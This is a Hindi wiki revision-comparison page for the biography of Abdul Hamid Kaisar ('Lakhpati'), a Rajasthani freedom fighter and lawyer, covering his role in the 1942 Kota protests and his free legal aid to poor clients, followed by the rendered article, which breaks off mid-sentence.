"अब्दुल हमीद कैसर": अवतरणों में अंतर
प्रीति चौधरी (वार्ता | योगदान) No edit summary |
No edit summary |
||
(5 सदस्यों द्वारा किए गए बीच के 26 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 1: | पंक्ति 1: | ||
{{ | {{बहुविकल्प|बहुविकल्पी शब्द=अब्दुल हमीद|लेख का नाम=अब्दुल हमीद (बहुविकल्पी)}} | ||
== | {{सूचना बक्सा स्वतन्त्रता सेनानी | ||
अब्दुल हमीद कैसर का जन्म 5 [[मई]], 1929 ई. [[राजस्थान]] में झालावड़ | |चित्र=blankimage.png | ||
|चित्र का नाम= | |||
|पूरा नाम=सैयद मोहम्मद अब्दुल हमीद कैसर | |||
|अन्य नाम=लखपति | |||
|जन्म=[[5 मई]], [[1929]] | |||
|जन्म भूमि=[[झालावाड़]], [[राजस्थान]] | |||
|मृत्यु=[[18 जुलाई]], [[1998]] | |||
|मृत्यु स्थान= | |||
|मृत्यु कारण= | |||
|अभिभावक= सैयद मीर मोहम्मद अली ([[पिता]]) | |||
|पति/पत्नी= | |||
|संतान= | |||
|स्मारक= | |||
|क़ब्र= | |||
|नागरिकता=भारतीय | |||
|प्रसिद्धि=प्रखरवक्ता, स्वतंत्रता सेनानी, ग़रीबों के मसीहा, त्यागी देशप्रेमी एवं देशभक्त | |||
|धर्म= | |||
|आंदोलन= | |||
|जेल यात्रा= | |||
|कार्य काल= | |||
|विद्यालय= | |||
|शिक्षा= एम. एस. सी, एल. एल. बी., डी. एफ. ए. | |||
|पुरस्कार-उपाधि= | |||
|विशेष योगदान= | |||
|संबंधित लेख= | |||
|शीर्षक 1= | |||
|पाठ 1= | |||
|शीर्षक 2= | |||
|पाठ 2= | |||
|अन्य जानकारी=अब्दुल हमीद कैसर [[राजस्थान]] में अपने उपनाम 'लखपति' के नाम से ही प्रसिद्ध थे। वस्तुत: [[1954]] ई. में उनके नाम की एक लाख रुपये की लॉटरी खुली थी, उसके बाद से ही वे 'लखपति' के नाम से प्रसिद्ध हो गये। | |||
|बाहरी कड़ियाँ= | |||
|अद्यतन= | |||
}} | |||
'''अब्दुल हमीद कैसर''' ([[अंग्रेज़ी]]: ''Abdul Hamid Kaisar'', जन्म- [[5 मई]], [[1929]], [[झालावाड़]], [[राजस्थान]]; मृत्यु- [[18 जुलाई]], [[1998]]) [[भारत]] के जाने-माने देशभक्तों में से थे। कैसर विलक्षण व्यक्तित्व के धनी थे। ग़रीबों के लिए इनके दिल में बहुत प्यार था। इनके मन में बचपन से ही देशभक्ति की भावना जाग उठी थी, क्योंकि जिस विद्यालय में ये शिक्षा ग्रहण करते थे, वहाँ छात्रों में अंग्रेज़ी हुकूमत के विरुद्ध संघर्ष करने की भावना भरी जाती थी। | |||
==जन्म== | |||
अब्दुल हमीद कैसर का जन्म 5 [[मई]], 1929 ई. [[राजस्थान]] में झालावड़ ज़िले के एक छोटे से कस्बे बकानी में हुआ था। उनके पिता का नाम सैयद मीर मोहम्मद अली था। वे उस क्षेत्र के बहुत बड़े जागीरदार थे तथा रियासत काल में तहसीलदार जैसे बड़े ओहदे पर नियुक्त थे। श्री लखपति अपने चार-भाई बहनों में सबसे छोटे थे। उनका पूरा नाम सैयद मोहम्मद अब्दुल हमीद कैसर था। अब्दुल हमीद कैसर राजस्थान में अपने उपनाम 'लखपति' के नाम से ही प्रसिद्ध थे। वस्तुत: 1954 ई. में उनके नाम की एक लाख रुपये की लॉटरी खुली थी, उसके बाद से ही वे 'लखपति' के नाम से प्रसिद्ध हो गये। | |||
====माता-पिता का साथ==== | ====माता-पिता का साथ==== | ||
अब्दुल हमीद कैसर का बचपन बहुत कष्टमय ढ़ग से गुजरा। जब वे तीन वर्ष के थे, तब उनके पिता की मृत्यु हो गई। इसके बाद उनके पिता के रिश्तेदारों ने उनकी सम्पत्ति पर कब्ज़ा कर लिया। ऐसी विषम स्थिति में उनके परिवार के सदस्य उन्हें बकानी से [[बूँदी]] ले आये। उनका जीवन बचपन से ही संघर्ष एवं कष्टों से भरा हुआ था। | |||
====विद्यार्थी जीवन==== | |||
अब्दुल हमीद कैसर ने अपनी प्रारम्भिक शिक्षा [[झालावाड़]] एवं [[बूँदी राजस्थान|बूँदी]] में प्राप्त की। तत्पश्चात् अपने कोटा के हितकारी विद्यालय से 10वीं की परीक्षा दी। यह विद्यालय उस समय [[बनारस हिन्दू विश्वविद्यालय]] से जुड़ा हुआ था। 'लखपति' के सबसे घनिष्ट मित्र रामचन्द्र सक्सेना थे। अब्दुल हमीद कैसर एवं रामचंद्र सक्सेना दोनों साथ-साथ विद्यालय में पढ़ते थे। संयोग से बाल्यावस्था में दोनों एक- दूसरे के अजीज मित्र बन गये। मित्र भी ऐसे कि एक- दूसरे को प्राणों से ज़्यादा चाहते थे। खाना-पीना, उठना बैठना एवं घूमना सब कुछ साथ ही होता था। एक [[हिन्दू]] और दूसरा [[मुसलमान]] होते हुए भी ऐसा प्रतीत होता था, जैसे दोनों सगे भाई हों, एक प्राण दो शरीर हों। अब्दुल हमीद कैसर [[अलीगढ़ मुस्लिम विश्वविद्यालय|अलीगढ़ विश्वविद्यालय]] से इण्टरमिडियेट, बी.एससी. तथा भूगर्भ विज्ञान में एम.एससी, एल.एल. बी. और विदेश सेवा में डिप्लोमा डी. एफ. ए. करने के बाद बूँदी चले आये और यहाँ पर वकालत प्रारम्भ की। अब्दुल हमीद कैसर ने अलीगढ़ विश्वविद्यालय के तत्कालीन वाइस चांसलर एवं [[भारत के राष्ट्रपति|भारत के पूर्व राष्ट्रपति]] [[डॉ. जाकिर हुसैन]] के सान्निध्य में रह कर पढ़ाई पूरी की थी। अब्दुल हमीद कैसर ने बूँदी में अपनी वकालत प्रारम्भ की और कुछ ही समय में वे बूँदी के प्रसिद्ध वकीलों में से एक बन गये। उन्हें फ़ौजदारी मुकदमों को लड़ने में महारत हासिल थी। | |||
==विलक्षण व्यक्तित्व के धनी== | |||
अब्दुल हमीद कैसर विलक्षण व्यक्तित्व के धनी थे। अब्दुल हमीद कैसर का व्यक्तित्व बहुत प्रभावशाली था। जो भी व्यक्ति इनके सम्पर्क में आता था, वह प्रभावित हुए बगैर नहीं रहता था। इन्होंने अपने जीवन में पैसों के स्थान पर इंसानियत और मानवता को महत्त्व दिया। इनमें उदारता, सहिष्णुता एवं दयालुता आदि गुण कूट-कूट कर भरे हुए थे। [[1961]] ई. [[भारत]] के गृहमंत्री [[लाल बहादुर शास्त्री]] तथा स्वतंत्रता सेनानी, मणिक्य लाल वर्मा के सामने अब्दुल हमीद कैसर ने सौगन्ध खाकर भील, आदिवासी तथा मुल्तानी व ग़रीब जाति के लोगों से बिना फीस लिए उनके मुकदमों की पैरवी करने की प्रतिज्ञा की थी, जिसे उन्होंने जीवन-पर्यंत निभाया। सिर्फ सेवा भाव से ही उन्होंने जीवन के अंतिम समय तक उनके मुकदमों की नि:शुल्क पैरवी की। यह अपने आप में एक बहुत बड़ी बात है। इस कार्य से अब्दुल हमीद कैसर मानवता से भी ऊपर उठे थे। | |||
सम्पूर्ण [[भारत|भारतवर्ष]] में वे ऐसे पहले वकील थे, जिन्होंने ग़रीबों के मुकदमे निशुल्क लड़े थे। इससे पता चलता है कि ग़रीबों के लिए उनके दिल में कितनी सहानभूति एवं प्यार था। दुनिया में ऐसे लोग विरले ही होते हैं, जिनके दिल में मानव सेवा के ऐसे भाव होते हैं, श्री कैसर उनमें से एक थे। इस कार्य से आप मानवता से भी ऊपर उठकर आर्दश मानव की श्रेणी में आ गये। इनकी देशभक्ति, त्याग एवं ग़रीबों की सेवा जैसे कार्यों के कारण आपका जीवन हम सभी के लिए प्रेरणादायक एवं अनुकरणीय बन गया। ग़रीबों की नि:स्वार्थ भाव से की गई सेवा के लिए यदि हम उन्हें 'ग़रीबों का मसीहा' कह कर पुकारें, तो कोई अतिशयोक्ति नहीं होगी। जिस किसी में देश प्रेम, त्याग, ग़रीबों की सेवा, [[हिन्दू]]-[[मुस्लिम]] एकता का समर्थन एवं देश के लिए सर्वस्व अर्पण करने की तमन्ना होती है, वह वरेण्य हो जाता है। [[राजस्थान]] के स्वतंत्रता संग्राम के मुस्लिम देशभक्तों में लखपति का विशिष्ट स्थान है। जिन राष्ट्रीय मुसलमानों ने लीग की साम्प्रदायिक नीति का विरोध करते हुए हमेशा [[कांग्रेस]] का साथ दिया और आज़ादी के संर्घष में महत्त्वपूर्ण भूमिका निभाई, उनमें से अब्दुल हमीद कैसर भी एक थे। वे राजस्थान के राष्ट्रवादी मुसमानों के शिरोमणि और स्वतंत्रता संग्राम के प्रसिद्ध सेनानी थे। अत: उनका नाम आज भी बड़े गर्व के साथ लिया जाता है। अब्दुल हमीद कैसर के देश प्रेम एवं त्याग के बारे में कवि की यह पंक्तियाँ उचित प्रतीत होती है- | |||
<poem> | |||
तज स्वार्थ का मार्ग, अहिंसा को अपनाय, | |||
जिस किसी में देश प्रेम, त्याग, | |||
राजस्थान के स्वतंत्रता संग्राम के मुस्लिम देशभक्तों में लखपति का विशिष्ट स्थान है। जिन राष्ट्रीय मुसलमानों ने लीग की साम्प्रदायिक नीति का विरोध करते हुए हमेशा कांग्रेस का साथ दिया और | |||
शीश झुका चुपचाप पुलिस की लाठी खाये, | शीश झुका चुपचाप पुलिस की लाठी खाये, | ||
गये जेल, हथकड़ी हाथ में, कष्ट उठाये, | गये जेल, हथकड़ी हाथ में, कष्ट उठाये, | ||
बहुत बहुत आशीष भारत माता से पाये।</poem> | बहुत बहुत आशीष भारत माता से पाये। | ||
</poem> | |||
==देशभक्ति की शिक्षा== | ==देशभक्ति की शिक्षा== | ||
अब्दुल हमीद कैसर के मन में बचपन से ही देशभक्ति की भावना जाग उठी, क्योंकि वहाँ छात्रों में अंग्रेज़ी हुकूमत के विरुद्ध संघर्ष करने की भावना भरी जाती थी। [[कोटा]] का हितकारी विद्यालय भारतीय स्वतंत्रता आन्दोलन से जुड़ा हुआ था। इस विद्यालय के प्राचार्य शम्भूदयाल सक्सेना पजामण्डल के प्रमुख नेताओं में से एक एवं प्रसिद्ध स्वतंत्रता सेनानी थे। अब्दुल हमीद कैसर तथा उनके हितकारी स्कूल के साथी छात्र रात भर जागकर कोटा शहर में गश्त करते थे। उन्होंने कुछ महीनों अध्ययन करना यह समझकर छोड़ दिया कि शायद अब अंग्रेजों का राज समाप्त होकर हमें आज़ादी मिलेगी और इस शासन का अंत होगा। इस लाठी-चार्ज का विरोध कोटा महराव राजा ने अनशन करके किया। | |||
==आन्दोलनों में सक्रियता== | |||
अंग्रेज़ सरकार के विरुद्ध संघर्ष की रणनीति तैयार करने हेतु [[अगस्त]], [[1942]] ई. में प्रजामण्डल की ओर से कोटा के चाँद टॉकीज में तिलक जयंती मनाई गई। इसमें [[बम्बई]] में [[9 अगस्त]], [[1942]] ई. को होने वाले ग्वालियर टैंक स्थित खुले अधिवेशन में भाग लेने तथा [[भारत छोड़ो आन्दोलन]] में सक्रिय रूप से भाग लेने का प्रस्ताव पारित किया गया। तिलक जयंती के अनुसार [[8 अगस्त]] को मीटिंग के प्रस्ताव रखने हेतु कुछ स्वतंत्रता सेनानियों एवं विद्यार्थियों ने भी भाग लिया था। ऐसे स्वतंत्रता सेनानियों में एडवोकेट वेणी माधवजी, अभिन्न हरिजी, हीरालालजी जैन, शम्भूदयालजी एवं विद्यार्थियों में अब्दुल हमीद कैसर एवं रामचन्द्र सक्सेना प्रमुख थे। इस जयंती में भाग लेने के बाद कैसर स्वतंत्रता आन्दोलन से सक्रिय रूप से जुड़ गये।<br /> | |||
==आन्दोलनों में | तिलक जयंती के अनुसार 8 अगस्त को मीटिंग के प्रस्ताव रखने हेतु कुछ सदस्यों को बम्बई जाना था, परंतु देश के प्रमुख स्वतंत्रता सेनानियों एवं कार्यकारिणी के सदस्यों को गिरफ्तार कर अंग्रेज़ सरकार ने उन्हें [[हैदराबाद]] स्थित [[आगा खाँ]] नामक जेल में भिजवा दिया। गिरफ्तार की खबर कोटा स्कूल में आग की तरह फैल गयी। कोटा में हितकारी विद्यालय सहित सभी स्कूल कॉलेजों में हडताल शुरू हो गई, जिससे स्कूल व कॉलेज बन्द हो गये। इस प्रकार स्कूल और कॉलेज के छात्रों ने अपनी पढ़ाई छोड़कर प्रजा मण्डल आन्दोलन को तीव्रगति देने में महत्त्वपूर्ण भूमिका अदा की। इस समय श्री कैसर भी अपनी पढ़ाई लिखाई छोड़कर आज़ादी के आन्दोलन में कूद पड़े। श्री कैसर एवं श्री रामचन्द्र सक्सेना हमेशा हितकारी स्कूल के छात्रों को एकत्रित करके अपने नेतृत्व में जुलूस निकालते। लखपति वरिष्ठ स्वतंत्रता सेनानियों के नेतृत्व में छात्रों के साथ हर्बट कॉलेज, नयापूरा, कोटा के पीछे एकत्रित होते। जुलूस प्रात: काल आठ बजे वहाँ से रवाना होकर नयापुरा, लाड़पुरा, मक़बरा, पाटनपोल, घण्टाघर, टिपटा होते हुए सिटी हाई स्कूल में आकर सभा में परिवर्तित हो जाता। यहाँ पर सभी राष्ट्रगान गाते और अंग्रेजों के विरुद्ध नारे लगाते थे।<br /> | ||
[[13 अगस्त]], 1942 ई. को अंग्रेज सरकार ने शम्भूदयाल जी, हीरालाल जी जैन एवं वेणी माधव जी आदि कोटा के स्वतन्त्रता सेनानियों को गिरफ्तार कर रामपुरा की कोतवाली में बन्द कर दिया। यह गिरफ्तारी अंग्रेज सरकार के ईशारे पर कोटा स्टेट ने की थी। गिरफ्तारी की खबर आग की तरह कोटा में फैल गयी। इस पर प्रजा मण्डल के सदस्यों, हितकारी विद्यालय के छात्रों एवं नागरिकों ने रामपुरा कोतवाली को घेर लिया और धरना दिया। अब्दुल हमीद कैसर धरने में अग्रिम पंक्ति में बैठे हुए थे। इस समय वेणी माधव जी की पत्नी ने अपने पति को माला पहनाने के लिए कोतवाली के गेट पर से चढ़कर जाने का प्रयास किया, तो उन्हें रोक दिया गया। इससे भीड़ उत्तेजित हो गई तथा लाठी-भाटा जगं शुरू हो गई। कैसर एवं सक्सेना दोनों घायल हो गये। उन दोनों के सिर फट गये और टांके लगाने पड़े। उसी समय घुड़सवार सैनिकों को बुला लिया गया, जिन्होंने आन्दोलनकारियों को रोंदने का प्रयास किया। तत्पश्चात् गिरफ्तार आन्दोलनकारियों को पुलिस अन्यत्र स्थान पर लेकर चली गयी।<br /> | |||
तिलक | पुलिस के साथ इस संघर्ष में कई लोग घायल हुए। जनता तथा विद्यार्थियों ने अपना घेरा कोतवाली पर और कड़ा कर दिया। आस-पास के नागरिकों ने अपने घरों की छतों पर पत्थर इकठ्ठे कर लिये। कोतवाली का यह घेराव 19 अगस्त तक चलता रहा। हितकारी के विद्यार्थियों ने शहर के समस्त प्रवेश द्वारों को बन्द कर दिया तथा सभी सड़कों पर गढ्डे करके पत्थर उखाड़ दिये, ताकि कोटा शहर में सेना प्रवेश नहीं कर सके और स्टेट का कोई भी वाहन शहर में नहीं आने पाये। प्रजामण्डल के नेतृत्व में हितकारी विद्यालय के छात्रों तथा नागरिकों ने कोतवाली के कर्मचारियों का कोतवाली से निकलना बन्द कर दिया। कोतवाली के कर्मचारी भूख प्यास से तड़पने लगे। पर जनता ने यह ऐलान किया कि पहले स्वतंत्रता आन्दोलनकारियों को रिहा किया जाए, तभी कोतवाली से घेराव हटाया जायेगा।<br /> | ||
तिलक | [[19 अगस्त]], 1942 को सायंकाल चार बजे किसी तरह सेना ने शहर में प्रवेश किया तथा कोतवाली को दोनों तरफ से घेर लिया। तत्पश्चात् सैनिक अधिकारियों ने कहा कि हम कोतवाली के कर्मचारियों को भूख-प्यासे बचाने आये हैं, परंतु जनता इस बात पर अड़ी रही कि पहले हमारे नेताओं को रिहा किया जाए। फिर 20 अगस्त, 1942 ई. को स्वतंत्रता सेनानियों को बिना श्रर्त रिहा कर दिया गया, तब जाकर कोतवाली से घेरा हटाया गया।<br /> | ||
अब्दुल हमीद कैसर जब भी बूँदी आते थे, तो अपनी कमीज पर तिरंगी झण्डी लगाकर आते थे। इस खबर से अंग्रेज़ दीवान रॉर्ब्टसन नाराज़ रहने लगा, जो इस समय बूँदी स्टेट में मुजालमत थे। इसके बाद 1943 ई. में [[बनारस]] से मैट्रिक की परीक्षा पास करके कैसर ने [[अलीगढ़ मुस्लिम विश्वविद्यालय]] में प्रवेश लिया, तो बूँदी के अंग्रेज़ दीवान ने वहाँ से शिकायत करके विश्वविद्यालय प्रशासन से निलम्बित किया जाए क्योंकि वह अंग्रेज़ हुकूमत के विरुद्ध आन्दोलन में भाग लेता है। 1943 में मैट्रिक करके [[अलीगढ़]] जाने से पूर्व कैसर ने बूँदी स्टेट में किसी तरह नौकरी प्राप्त कर ली तथा फिर नौकरी को छोड़कर अलीगढ़ विश्वविद्यालय में प्रवेश ले लिया। इससे बूँदी का अंग्रेज़ दीवान आग बबूला हो गया तथा नौकरी में मिली सारी तनख्वाह अब्दुल हमीद कैसर से वापस जमा करवाई। अलीगढ़ विश्वविद्यालय में प्रवेश लेने के बाद कैसर ने स्वतंत्रता आन्दोलन में बढ़-चढ़कर भाग लिया। वे 1946 ई. में अलीगढ़ कांग्रेस के साधारण सदस्य बने जबकि उस समय वे इण्टरमिडियेट के छात्र थे।<br /> | |||
गिरफ्तार की खबर कोटा स्कूल में आग की तरह फैल गयी। कोटा में हितकारी विद्यालय सहित सभी स्कूल कॉलेजों में हडताल शुरू हो गई, जिससे स्कूल व कॉलेज बन्द हो गये। इस प्रकार स्कूल और कॉलेज के छात्रों ने अपनी पढ़ाई छोड़कर प्रजा मण्डल आन्दोलन को तीव्रगति देने में महत्त्वपूर्ण भूमिका अदा की। इस समय श्री कैसर भी अपनी पढ़ाई लिखाई छोड़कर | [[1946]] में ही [[रफ़ी अहमद क़िदवई]] पर लीगी दंगाईयों ने यह कहकर नगरपालिका, अलीगढ़ में हमला कर दिया कि यह भारत का समर्थक है, तो कैसर ने अपने साथी इक़बाल अहमद (निवासी- [[मुरादाबाद]], [[उत्तर प्रदेश]]) के साथ जान जोखिम में डालकर किदवई का बचाव किया, जिससे वे अपने साथी और किदवई सहित घायल होकर अस्पताल में भर्ती हुए। [[1946]] में जब [[भारत सरकार]] के अंतरिम सरकार के लिए चुनाव हुए, तो कैसर मुजफ्फर नगर ([[उत्तर प्रदेश]]) में [[कांग्रेस]] प्रत्याशी मौलाना हुसैन अहमद मदनी के चुनाव में प्रचार करने हेतु गये। | ||
13 अगस्त, 1942 ई. को | |||
पुलिस के साथ इस संघर्ष में कई लोग घायल हुए। जनता तथा विद्यार्थियों ने अपना घेरा कोतवाली पर और कड़ा कर दिया। आस-पास के नागरिकों ने अपने घरों की छतों पर पत्थर इकठ्ठे कर लिये। कोतवाली का यह घेराव 19 अगस्त तक चलता रहा। हितकारी के विद्यार्थियों ने शहर के समस्त प्रवेश द्वारों को बन्द कर दिया तथा सभी सड़कों पर गढ्डे करके पत्थर उखाड़ दिये, ताकि कोटा शहर में सेना प्रवेश नहीं कर सके और स्टेट का कोई भी वाहन शहर में नहीं आने पाये। | |||
प्रजामण्डल के नेतृत्व में हितकारी विद्यालय के छात्रों तथा नागरिकों ने कोतवाली के कर्मचारियों का कोतवाली से निकलना बन्द कर दिया। कोतवाली के | |||
19 अगस्त, 1942 को सायंकाल चार बजे किसी तरह सेना ने शहर में प्रवेश किया तथा कोतवाली को दोनों तरफ से घेर लिया। तत्पश्चात् सैनिक अधिकारियों ने कहा कि हम कोतवाली के कर्मचारियों को भूख-प्यासे बचाने आये हैं, परंतु जनता इस बात पर अड़ी रही कि पहले हमारे नेताओं को रिहा किया जाए। फिर 20 अगस्त, 1942 ई. को स्वतंत्रता सेनानियों को बिना श्रर्त रिहा कर दिया गया, तब जाकर कोतवाली से घेरा हटाया गया। | |||
इसके बाद 1943 ई. में बनारस से मैट्रिक की परीक्षा पास करके कैसर ने [[अलीगढ़ मुस्लिम विश्वविद्यालय]] में प्रवेश लिया, तो बूँदी के | |||
1943 में मैट्रिक करके [[अलीगढ़]] जाने से पूर्व कैसर ने बूँदी स्टेट में किसी तरह नौकरी प्राप्त कर ली तथा फिर नौकरी को छोड़कर अलीगढ़ विश्वविद्यालय में प्रवेश ले लिया। इससे बूँदी का | |||
अलीगढ़ विश्वविद्यालय में प्रवेश लेने के बाद | |||
1946 में ही | |||
1946 में जब भारत सरकार के अंतरिम सरकार के लिए चुनाव हुए, तो | |||
==मृत्यु== | ==मृत्यु== | ||
आज़ादी का दीवाना एवं मानवता का मसीहा अब्दुल हमीद कैसर [[18 जुलाई]], [[1998]] ई. को इस संसार से विदा हो गया। इस दु:खद अवसर पर असंख्य लोगों ने उनकी सेवाओं को याद करते हुए अपने जनप्रिय नेता को भावभीनी विदाई देते हुए अश्रुपूरित श्रद्धांजलि अर्पित की थी। स्वतंत्रता के इस पराक्रमी योद्धा की क़ब्र आज भी उनके त्याग एवं बलिदान की कहानी सुनाती है। यद्यपि कैसर आज हमारे बीच नहीं है, तथापि जनता उनको आज भी श्रद्धा और सम्मान के साथ याद करती हैं। इस प्रकार कैसर उच्च कोटि के विद्वान, प्रखरवक्ता, स्वतंत्रता सेनानी, ग़रीबों के मसीहा, साम्प्रदायिकता एकता के प्रतीक, त्यागी देशप्रेमी एवं देशभक्त थे। | |||
====सद्भावना के मसीहा==== | |||
अब्दुल हमीद कैसर आज़ादी के उन पराक्रमी योद्धाओं में से एक थे, जिन्होंने सत्ता के गलियारे की तरफ कभी झांका तक नहीं। उनका नाम अख़बार की सुर्खियों में देखने को नहीं मिलता, क्योंकि उन्होंने किसी फल की प्राप्ति की आशा से आज़ादी की जंग में भाग नहीं लिया था। उनका उत्सर्ग अनाम था। वे कंगूरों की भाँति दिखावे की वस्तु नहीं, अपितु नींव के पत्थर थे। इसीलिए उनके नाम की स्वर्ण पट्टिकायें कहीं पर देखने को नहीं मिलतीं। उनकी मजार और समाधियों पर न चिराग जलाए जाते हैं, न पुष्प चढ़ाये जाते हैं। ऐसे ही गुमनाम राष्ट्र भक्तों की पंक्ति में कैसर का नाम भी शामिल है। कैसर बहुमुखी प्रतिभा के धनी, देश के लिए मर मिटन वाले योद्धा, त्यागी, बलिदान, आदर्श मानवता के प्रतीक देश के महान् भक्त, भारत माता के सच्चे पुत्र एवं साम्प्रदायिक सद्भावना के मसीहा थे। | |||
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }} | {{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }} | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
{{स्वतन्त्रता सेनानी}} | {{स्वतन्त्रता सेनानी}} | ||
[[Category:स्वतन्त्रता सेनानी]] | [[Category:स्वतन्त्रता सेनानी]][[Category:जीवनी साहित्य]][[Category:चरित कोश]][[Category:इतिहास कोश]] | ||
[[Category: | |||
[[Category: | |||
__INDEX__ | __INDEX__ | ||
__NOTOC__ |
05:16, 5 मई 2018 के समय का अवतरण
अब्दुल हमीद | एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- अब्दुल हमीद (बहुविकल्पी) |
अब्दुल हमीद कैसर
| |
पूरा नाम | सैयद मोहम्मद अब्दुल हमीद कैसर |
अन्य नाम | लखपति |
जन्म | 5 मई, 1929 |
जन्म भूमि | झालावाड़, राजस्थान |
मृत्यु | 18 जुलाई, 1998 |
अभिभावक | सैयद मीर मोहम्मद अली (पिता) |
नागरिकता | भारतीय |
प्रसिद्धि | प्रखरवक्ता, स्वतंत्रता सेनानी, ग़रीबों के मसीहा, त्यागी देशप्रेमी एवं देशभक्त |
शिक्षा | एम. एस. सी, एल. एल. बी., डी. एफ. ए. |
अन्य जानकारी | अब्दुल हमीद कैसर राजस्थान में अपने उपनाम 'लखपति' के नाम से ही प्रसिद्ध थे। वस्तुत: 1954 ई. में उनके नाम की एक लाख रुपये की लॉटरी खुली थी, उसके बाद से ही वे 'लखपति' के नाम से प्रसिद्ध हो गये। |
अब्दुल हमीद कैसर (अंग्रेज़ी: Abdul Hamid Kaisar, जन्म- 5 मई, 1929, झालावाड़, राजस्थान; मृत्यु- 18 जुलाई, 1998) भारत के जाने-माने देशभक्तों में से थे। कैसर विलक्षण व्यक्तित्व के धनी थे। ग़रीबों के लिए इनके दिल में बहुत प्यार था। इनके मन में बचपन से ही देशभक्ति की भावना जाग उठी थी, क्योंकि जिस विद्यालय में ये शिक्षा ग्रहण करते थे, वहाँ छात्रों में अंग्रेज़ी हुकूमत के विरुद्ध संघर्ष करने की भावना भरी जाती थी।
जन्म
अब्दुल हमीद कैसर का जन्म 5 मई, 1929 ई. राजस्थान में झालावड़ ज़िले के एक छोटे से कस्बे बकानी में हुआ था। उनके पिता का नाम सैयद मीर मोहम्मद अली था। वे उस क्षेत्र के बहुत बड़े जागीरदार थे तथा रियासत काल में तहसीलदार जैसे बड़े ओहदे पर नियुक्त थे। श्री लखपति अपने चार-भाई बहनों में सबसे छोटे थे। उनका पूरा नाम सैयद मोहम्मद अब्दुल हमीद कैसर था। अब्दुल हमीद कैसर राजस्थान में अपने उपनाम 'लखपति' के नाम से ही प्रसिद्ध थे। वस्तुत: 1954 ई. में उनके नाम की एक लाख रुपये की लॉटरी खुली थी, उसके बाद से ही वे 'लखपति' के नाम से प्रसिद्ध हो गये।
माता-पिता का साथ
अब्दुल हमीद कैसर का बचपन बहुत कष्टमय ढ़ग से गुजरा। जब वे तीन वर्ष के थे, तब उनके पिता की मृत्यु हो गई। इसके बाद उनके पिता के रिश्तेदारों ने उनकी सम्पत्ति पर कब्ज़ा कर लिया। ऐसी विषम स्थिति में उनके परिवार के सदस्य उन्हें बकानी से बूँदी ले आये। उनका जीवन बचपन से ही संघर्ष एवं कष्टों से भरा हुआ था।
विद्यार्थी जीवन
अब्दुल हमीद कैसर ने अपनी प्रारम्भिक शिक्षा झालावाड़ एवं बूँदी में प्राप्त की। तत्पश्चात् अपने कोटा के हितकारी विद्यालय से 10वीं की परीक्षा दी। यह विद्यालय उस समय बनारस हिन्दू विश्वविद्यालय से जुड़ा हुआ था। 'लखपति' के सबसे घनिष्ट मित्र रामचन्द्र सक्सेना थे। अब्दुल हमीद कैसर एवं रामचंद्र सक्सेना दोनों साथ-साथ विद्यालय में पढ़ते थे। संयोग से बाल्यावस्था में दोनों एक- दूसरे के अजीज मित्र बन गये। मित्र भी ऐसे कि एक- दूसरे को प्राणों से ज़्यादा चाहते थे। खाना-पीना, उठना बैठना एवं घूमना सब कुछ साथ ही होता था। एक हिन्दू और दूसरा मुसलमान होते हुए भी ऐसा प्रतीत होता था, जैसे दोनों सगे भाई हों, एक प्राण दो शरीर हों। अब्दुल हमीद कैसर अलीगढ़ विश्वविद्यालय से इण्टरमिडियेट, बी.एससी. तथा भूगर्भ विज्ञान में एम.एससी, एल.एल. बी. और विदेश सेवा में डिप्लोमा डी. एफ. ए. करने के बाद बूँदी चले आये और यहाँ पर वकालत प्रारम्भ की। अब्दुल हमीद कैसर ने अलीगढ़ विश्वविद्यालय के तत्कालीन वाइस चांसलर एवं भारत के पूर्व राष्ट्रपति डॉ. जाकिर हुसैन के सान्निध्य में रह कर पढ़ाई पूरी की थी। अब्दुल हमीद कैसर ने बूँदी में अपनी वकालत प्रारम्भ की और कुछ ही समय में वे बूँदी के प्रसिद्ध वकीलों में से एक बन गये। उन्हें फ़ौजदारी मुकदमों को लड़ने में महारत हासिल थी।
विलक्षण व्यक्तित्व के धनी
अब्दुल हमीद कैसर विलक्षण व्यक्तित्व के धनी थे। अब्दुल हमीद कैसर का व्यक्तित्व बहुत प्रभावशाली था। जो भी व्यक्ति इनके सम्पर्क में आता था, वह प्रभावित हुए बगैर नहीं रहता था। इन्होंने अपने जीवन में पैसों के स्थान पर इंसानियत और मानवता को महत्त्व दिया। इनमें उदारता, सहिष्णुता एवं दयालुता आदि गुण कूट-कूट कर भरे हुए थे। 1961 ई. भारत के गृहमंत्री लाल बहादुर शास्त्री तथा स्वतंत्रता सेनानी, मणिक्य लाल वर्मा के सामने अब्दुल हमीद कैसर ने सौगन्ध खाकर भील, आदिवासी तथा मुल्तानी व ग़रीब जाति के लोगों से बिना फीस लिए उनके मुकदमों की पैरवी करने की प्रतिज्ञा की थी, जिसे उन्होंने जीवन-पर्यंत निभाया। सिर्फ सेवा भाव से ही उन्होंने जीवन के अंतिम समय तक उनके मुकदमों की नि:शुल्क पैरवी की। यह अपने आप में एक बहुत बड़ी बात है। इस कार्य से अब्दुल हमीद कैसर मानवता से भी ऊपर उठे थे।
सम्पूर्ण भारतवर्ष में वे ऐसे पहले वकील थे, जिन्होंने ग़रीबों के मुकदमे निशुल्क लड़े थे। इससे पता चलता है कि ग़रीबों के लिए उनके दिल में कितनी सहानभूति एवं प्यार था। दुनिया में ऐसे लोग विरले ही होते हैं, जिनके दिल में मानव सेवा के ऐसे भाव होते हैं, श्री कैसर उनमें से एक थे। इस कार्य से आप मानवता से भी ऊपर उठकर आर्दश मानव की श्रेणी में आ गये। इनकी देशभक्ति, त्याग एवं ग़रीबों की सेवा जैसे कार्यों के कारण आपका जीवन हम सभी के लिए प्रेरणादायक एवं अनुकरणीय बन गया। ग़रीबों की नि:स्वार्थ भाव से की गई सेवा के लिए यदि हम उन्हें 'ग़रीबों का मसीहा' कह कर पुकारें, तो कोई अतिशयोक्ति नहीं होगी। जिस किसी में देश प्रेम, त्याग, ग़रीबों की सेवा, हिन्दू-मुस्लिम एकता का समर्थन एवं देश के लिए सर्वस्व अर्पण करने की तमन्ना होती है, वह वरेण्य हो जाता है। राजस्थान के स्वतंत्रता संग्राम के मुस्लिम 